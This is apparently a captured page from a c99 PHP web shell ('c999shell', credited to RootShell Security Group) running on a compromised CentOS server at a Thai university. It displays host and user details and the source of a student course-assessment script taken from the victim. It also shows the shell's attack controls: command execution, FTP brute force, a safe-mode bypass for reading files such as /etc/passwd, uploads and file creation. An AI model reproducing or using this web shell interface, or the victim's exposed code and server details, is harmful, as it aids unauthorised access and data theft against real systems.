!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/eassess/teacher/   drwxr-xr-x
Free 52.31 GB of 127.8 GB (40.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     startPageAss.php (16.35 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
showHeader();
include_once 
"../link/function.php";
include_once 
"../class/clsReg_Acad.php";
include_once 
"../class/clsStudentAssess.php";
include_once 
"../class/clsReg_Program.php";
include_once 
"../class/clsRegistration.php";
include_once 
"../class/clsClassAssess.php";
include_once 
"../class/clsClassInStructorAssess.php";
include_once 
"../class/clsDefineAssessment.php";
include_once 
"../class/clsHoldCourse.php";
include_once 
"../class/clsDoAssessment.php";
include_once 
"../class/clsCourseAssess.php";
include_once 
"../class/clsHoldStudent.php";
include_once 
"../class/clsDoAssessmentHStd.php";
include_once 
"../class/clsAssessForm.php";
include_once 
"../class/clsHoldProgram.php";
include_once 
"../class/clsTimeTableAssess.php";
include_once 
"../class/clsOfficerAssess.php";
include_once 
"../class/clsWeekDateAssess.php";

sendRequest();

$oCR = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_REG'], $GLOBALS['USER_REG'], $GLOBALS['PASSWORD_REG']);

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oAc = new Acad($oCR);
$oStd = new StudentAssess($oCA);
$oProg=new Program($oCR);
$oReg = new Registration($oCA);
$oClass = new ClassAssess($oCA);
$oCIS = new ClassInStructorAssess($oCA);
$oDA = new DefineAssessment($oCA);
$oDo = new DoAssessment($oCA);
$oHC = new HoldCourse($oCA);
$oCourse = new CourseAssess($oCA);
$oHStd = new HoldStudent($oCA);
$oDoHStd = new DoAssessmentHStd($oCA);
$oAF = new AssessForm($oCA);
$oHP = new HoldProgram($oCA);
$oTTA = new TimeTableAssess($oCA);
$oOFA = new OfficerAssess($oCA);
$oDA2 = new DefineAssessment($oCA);
$oWDA = new WeekDateAssess($oCA);

$studentCode $oU->userLogin;
$nowDate getNowDateTh();
$acadYear $GLOBALS["ACADYEAR_R"];
$semester $GLOBALS["SEMESTER_R"];

$now GetNowDate();
list(
$y$m$d) = split('[-]'$now);
$now2=$d."-".$m."-".$y;

$oAc->RSAcad();
$oAc->GetRecord();

$oStd->SearchByStCodeAndStudying($studentCode);
$oStd->GetRecord();

$oProg->SearchProgramIdByPrgramName($oStd->programName);
$oProg->GetRecord();
?>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<table width="740" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><br><fieldset>
        <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>">เริ่มการประเมิน</font></legend>
        <div align="center"><br><form name="pc" method="post" action="<?php echo $PHP_SELF;?>">
        <table width="650" align="center" border="0" cellpadding="0" cellspacing="1">
            <tr>
                <td><table width="100%" border="0" cellspacing="1" cellpadding="1" align="center" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>">
                    <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
                        <td width="13%" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>รหัสนักศึกษา</b></font></td>
                        <td width="44%"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>:</b>&nbsp;<?php echo $oStd->studentCode;?></font></td>
                        <td width="13%"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ชื่อ-นามสกุล</b></font></td>
                        <td width="30%"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>:</b>&nbsp;<?php echo $oStd->prefixName.$oStd->studentName.' '.$oStd->studentSurname;?></font></td>
                    </tr>
                    <tr> 
                        <td height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>หลักสูตร</b></font></td>
                        <td><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>:</b>&nbsp;<?php echo $oStd->programName;?></font></td>
                        <td><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ชั้นปี</b></font></td>
                        <td><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>:</b>&nbsp;<?php echo $oStd->studentYear;?></font></td>
                    </tr>
                    <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
                        <td height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ปีการศึกษา</b></font></td>
                        <td><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>:</b>&nbsp;<?php echo $acadYear ?></font></td>
                        <td><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ภาคการศึกษา</b></font></td>
                        <td><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>:</b>&nbsp;<?php echo $semester;?></font></td>
                    </tr>
                </table></td>
            </tr>
            <tr> 
                <td height="22"></td>
            </tr>
            <tr>
                <td><table width="100%">
<?php
                    $showFlag 
0;
                    
$noAssFlag 1;
            
//        $oReg->RSEnrollItemByStIdAndAcYAndSe($oStd->studentId, $acadYear, $semester);
                    
$oReg->RSClassIdByStdId($oStd->studentId);
                    while(
$oReg->GetRecord()) {
                        
$doAssFlag 1;
                        
                        
$oClass->SearchByKey($oReg->classId);
                        
$oClass->GetRecord();
                        
                        
// case 0    & case 1
                        
$flag0_mustDo 0;
                        
$flag1_mustDo 0;
                        
$oCIS->SearchByClassIdGroupClassIdOfficerId($oReg->classId);
                        while(
$oCIS->GetRecord()) {
                            
$oDA->RSByFlagAndBetweenSCDate(0$nowDate);
                            while(
$oDA->GetRecord()) {
                                if(
$oDA->acadYear==$oReg->acadYear && $oDA->semester==$oReg->semester ){
                                
$chAssHold $oDo->CountCheckAssessment($oDA->defineid$oStd->studentId,$oCIS->officerId,$oReg->classId,$oClass->section);
                                if(
$chAssHold == 0) {
                                    
$doAssFlag 0;
                                    
$noAssFlag 0;
                                    
$flag0_mustDo =$flag0_mustDo+1;
                                    }
                                }
                            }    
// end while $oDA
                            
                            
$oDA->RSDefineidByFlagBetweenSCDateClId(1,$nowDate,$oReg->classId);
                            while(
$oDA->GetRecord()) {
                                
$chAssHold $oDo->CountCheckAssessment($oDA->defineid$oStd->studentId,$oCIS->officerId,$oReg->classId,$oClass->section);
                                if(
$chAssHold == 0) {
                                    
$doAssFlag 0;
                                    
$noAssFlag 0;
                                    
$flag1_mustDo =$flag1_mustDo+1;
                                }
                            }    
// end while $oDA
                        
}    // end while $oCIS

                        // case 5
                        
$flag5_mustDo 0;
                        
$oDA->RSByFlagAndBetweenSCDate(5$nowDate);
                        while(
$oDA->GetRecord()) {
                            if(
$oDA->acadYear==$oReg->acadYear && $oDA->semester==$oReg->semester ){
                            
$chAssHold $oDo->CountCheckAssessment3($oDA->defineid$oStd->studentId,$oReg->classId,$oClass->section);
                            if(
$chAssHold == 0) {
                                
$doAssFlag 0;
                                
$noAssFlag 0;
                                
$flag5_mustDo =$flag5_mustDo+1;
                            }
                            }
                        }    
// end while $oDA
                        
                // case  6
                
$flag6_all 0;
                
$flag6_mustDo =0;
                
$oDA->RSDefineidByFlagBetweenSCDateClId(6,$nowDate,$oReg->classId);
                while(
$oDA->GetRecord()){
                        if(
$oDA->acadYear==$oReg->acadYear && $oDA->semester==$oReg->semester ){
                        
$flag6_all =$flag6_all+1;
                        
$oDA2->SearchByDefineid($oDA->defineid);
                        
$oDA2->GetRecord();
                        
$oAF->SearchByKey($oDA2->assid);
                        
$oAF->GetRecord();
                        
$chAssHold $oDo->CountCheckAssessment3($oDA2->defineid$oStd->studentId,$oReg->classId,$oClass->section);
                         if(
$chAssHold ==0){
                                
$doAssFlag 0;
                                
$noAssFlag 0;
                                
$flag6_mustDo =$flag6_mustDo+1;
                            }
                            }
                    }
    
                
//case 7                            
                
$flag7_Do 0;
                
$flag7_mustDo 0;
                
$oDA->RSAssidByFlagBetweenSCDateClId(7,$nowDate,$oReg->classId);
                while(
$oDA->GetRecord()){
                    if(
$oDA->acadYear==$oReg->acadYear && $oDA->semester==$oReg->semester ){
                    
$oAF->SearchByKey($oDA->assid);
                    
$oAF->GetRecord();
                     
$oHC->RSAssessFlag7ByAssid($oDA->assid,$nowDate,$oReg->classId);
                    
$i =1;
                    while(
$oHC->GetRecord()){
                        
$oDA2->SearchByDefineid($oHC->defineid);
                        
$oDA2->GetRecord();
                        
$oTTA->SearchTimeTableByttId($oHC->ttId);
                        
$oTTA->GetRecord();
                        
$oOFA->SearchByKey($oTTA->ttOfId);
                        
$oOFA->GetRecord();
                        
$chAssHold $oDo->CountCheckAssessment2($oDA2->defineid,$oStd->studentId,$oTTA->ttOfId,$oTTA->ttId,$oClass->section);

                        
$show=1;
                        
$today=getWeekDay($now2);
                        
$oWDA->searchWeekByScDate($now);
                        
$oWDA->GetRecord();    
                                
                        if(
$chAssHold ==1){
                             
$show=0;
                             
$flag7_Do $flag7_Do+1;
                        }elseif(
$oDA2->isPreAssess==){
                            if((
$oWDA->wdAcYWeekNo $oTTA->ttWdAcYWeekNo ) || ($oWDA->wdAcYWeekNo==$oTTA->ttWdAcYWeekNo && $today <= $oTTA->ttDyId) )
                            
$show=0;
                        }
                        
                        if(
$show){
                            
$flag7_mustDo $flag7_mustDo+1;
                        }
// end if show
                    
}// loop oHC
                    
}
                }
// loop  oDA
                
if($flag7_mustDo!=0){
                    
$doAssFlag 0;
                    
$noAssFlag 0;
                }
                
//End case 7
                
                //case 8
                
$flag8_all 0;
                
$flag8_mustDo =0;
                
$oDA->RSDefineidByFlagBetweenSCDateClId(8,$nowDate,$oReg->classId);
                while(
$oDA->GetRecord()){
                        if(
$oDA->acadYear==$oReg->acadYear && $oDA->semester==$oReg->semester ){
                        
$flag8_all =$flag8_all+1;
                        
$oHC->SearchByDefineidClassId($oDA->defineid,$oReg->classId);
                        while(
$oHC->GetRecord()){
                            
$chAssHold $oDo->CountCheckAssessment($oDA->defineid$oStd->studentId,$oHC->officerId,$oReg->classId,$oClass->section);
                             if(
$chAssHold ==0){
                                
$doAssFlag 0;
                                
$noAssFlag 0;
                                
$flag8_mustDo =$flag8_mustDo+1;
                            }
                        }
                        }
                    }
                
//End 8
                            
                        
if(!$doAssFlag) {
                            
$showFlag++;
                            
                            if(
$showFlag == 1) {
?>
                    <tr>
                        <td width="20%" align="right"><img src="../picture/book.jpg" width="125" height="115" border="0"></td>
                        <td width="80%"><table width="100%">
                             <tr> 
                                <td height="22" colspan="3"><img src="../picture/HoldCourse.png" border="0">
                                <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>"><b>ประเมินรายวิชาที่ลงทะเบียนเรียน</b></font></td>
                            </tr>
<?php
                            
}
                            
                            
$oCourse->SearchByKey($oClass->courseId);
                            
$oCourse->GetRecord();
                            
                            if((
$showFlag%2) == 0)
                                echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_5"].'">';
                            else
                                echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';    
?>
                                <td width="7" height="22"></td>
                                <td width="18" valign="top"><img src="../picture/linesub.gif" border="0"></td>
                                <td width="447"><a href = "showFormByCourse.php?studentId=<? echo $oStd->studentId?>&classId=<? echo $oReg->classId ?>&courseId=<? echo $oClass->courseId;?>&flag7_mustDo=<?=$flag7_mustDo;?>&flag6_mustDo=<?=$flag6_mustDo;?>&flag8_mustDo=<?=$flag8_mustDo;?>&flag0_mustDo=<?=$flag0_mustDo;?>&flag1_mustDo=<?=$flag1_mustDo;?>&flag5_mustDo=<?=$flag5_mustDo;?>"  onClick="return sendRequest(this);" onMouseOver="window.status=''; return true;">
                                <img src="../picture/button_do.gif" border ="0">
                                <font size="1" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo " ".$oCourse->courseCode." ".$oCourse->courseName." ".$oCourse->courseUnit." กลุ่ม".$oClass->section?></font></a></td>
                            </tr>
<?php
                        
}    // end if !$doAssFlag
                    
}    // end while $oReg
                    
                    
if(!$noAssFlag) {
?>
                        </table></td>
                    </tr>
<?php
                    
}
                    
                    
// case 2
                    
$showGFlag2 0;
                    
$oDA->RSByFlagAndBetweenSCDate(2$nowDate);
                    while(
$oDA->GetRecord()) {
                        
$doAssFlag 1;
                        
                        
$oHStd->RSHoldStudentByDfIdAndStY($oDA->defineid$oStd->studentYear);
                        if(
$oHStd->GetRecord()) {
                            if(!
$oDoHStd->CountCheckAssessment($oDA->defineid$oStd->studentId)) {
                                
$doAssFlag 0;
                                
$noAssFlag 0;
                            }
                        }    
// end if $oHStd
                        
                        
if(!$doAssFlag) {
                            
$showGFlag2++;
                            
                            if(
$showGFlag2 == 1) {
?>
                    <tr>
                        <td width="20%" align="right"><img src="../picture/pencil.bmp" width="125" height="115" border="0"></td>
                        <td width="80%"><table width="100%">
                             <tr> 
                                <td height="22" colspan="3"><img src="../picture/HoldStd.png" border="0">
                                <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>"><b>แบบประเมินทั่วไป</b></font></td>
                            </tr>
<?php
                            
}
                            
                            
$oAF->SearchByKey($oDA->assid);
                            
$oAF->GetRecord();
                            
                            if((
$showGFlag2%2) == 0)
                                echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_5"].'">';
                            else
                                echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';    
?>
                                <td width="7" height="22"></td>
                                <td width="18" valign="top"><img src="../picture/linesub.gif" border="0"></td>
                                <td width="447"><a href = "assessFormHStd.php?defineid=<? echo $oDA->defineid ?>&assid=<? echo $oDA->assid ?>&studentId=<? echo $oStd->studentId?>"  onClick="return sendRequest(this);" onMouseOver="window.status=''; return true;">
                                <font size="1" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oAF->nameAss;?>
                                (<img src="../picture/no.gif"  border ="0">
                                ยังไม่ได้ประเมิน)</font></a></td>
                            </tr>
<?php
                        
}    // end if !$doAssFlag
                    
}    // end while $oDA
                    
                    // case 3
                    
$showGFlag3 0;
            
//        $oDA->RSDefineAssessmentByAcYAndSeAndFlagAndBetweenSCDate($acadYear, $semester, 3, $nowDate);
                    
$oDA->RSByFlagAndBetweenSCDate(3$nowDate);
                    while(
$oDA->GetRecord()) {
                        
$doAssFlag 1;
                        
                        
$oHP->SearchByDefineIdProgramIdStdYearAss($oDA->defineid$oProg->programId$oStd->studentYear);
                        if(
$oHP->GetRecord()) {
                            if(!
$oDoHStd->CountCheckAssessment($oDA->defineid$oStd->studentId)) {
                                
$doAssFlag 0;
                                
$noAssFlag 0;
                            }
                        }    
// end if $oHStd
                        
                        
if(!$doAssFlag) {
                            
$showGFlag3++;
                            
                            if(
$showGFlag2==&& $showGFlag3==1) {
?>
                    <tr>
                        <td width="20%" align="right"><img src="../picture/pencil.bmp" width="125" height="115" border="0"></td>
                        <td width="80%"><table width="100%">
                             <tr> 
                                <td height="22" colspan="3"><img src="../picture/HoldStd.png" border="0">
                                <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>"><b>แบบประเมินทั่วไป</b></font></td>
                            </tr>
<?php
                            
}
                            
                            
$oAF->SearchByKey($oDA->assid);
                            
$oAF->GetRecord();
                            
                            if(((
$showGFlag2+$showGFlag3)%2) == 0)
                                echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_5"].'">';
                            else
                                echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';    
?>
                                <td width="7" height="22"></td>
                                <td width="18" valign="top"><img src="../picture/linesub.gif" border="0"></td>
                                <td width="447"><a href = "assessFormHStd.php?defineid=<? echo $oDA->defineid ?>&assid=<? echo $oDA->assid ?>&studentId=<? echo $oStd->studentId?>"  onClick="return sendRequest(this);" onMouseOver="window.status=''; return true;">
                                <font size="1" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oAF->nameAss;?>
                                (<img src="../picture/no.gif"  border ="0">
                                ยังไม่ได้ประเมิน)</font></a></td>
                            </tr>
<?php
                        
}    // end if !$doAssFlag
                    
}    // end while $oDA
                    
if(($showGFlag2 || $showGFlag3) && !$noAssFlag) {
?>
                        </table></td>
                    </tr>
<?php
                    
}
?>
                </table></td>
            </tr>
<?php
            
if($noAssFlag) {
?>
            <tr> 
                <td align="center"><img src="../picture/lock.gif" border="0">
                <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_7"]; ?>">ไม่สามารถประเมินได้  เนื่องจากยังไม่ได้อยู่ในช่วงประเมิน !</font></td>
            </tr>
<?php
            
}
?>
        </table>
        </form></div>
        </fieldset><br>
        <table width="742" border="0">
            <tr> 
                <td height="27"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><strong>หมายเหตุ : </strong></font></td>
                <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">คลิกที่รายวิชาเพื่อทำการประเมินอาจารย์ผู้สอน</font></td>
            </tr>
            <tr> 
                <td height="27">&nbsp;</td>
                <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/button_ok.gif" border="0"> 
                หมายถึง ประเมินครบทุกแบบประเมิน โดยแยกตามอาจารย์ผู้สอนสำหรับรายวิชานั้นๆ เรียบร้อยแล้ว</font></td>
            </tr>
            <tr>
                <td height="27">&nbsp;</td>
                <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/button_do.gif" border="0">
                หมายถึง ยังประเมินไม่ครบทุกแบบประเมิน โดยแยกตามผู้สอนสำหรับรายวิชานั้นๆ</font></td>
            </tr>
            <tr> 
                <td width="71" height="27">&nbsp;</td>
                <td width="659"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/button_cancel.gif" border="0">
                หมายถึง ยังไม่ได้ประเมินทุกแบบประเมิน โดยแยกตามผู้สอนสำหรับรายวิชานั้นๆ</font></td>
            </tr>
        </table></td>
    </tr>
</table>
<form name="silent" id="silent" style="margin:0px; padding: 0px;" method="post"></form>
<?php
showFooter
();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0077 ]--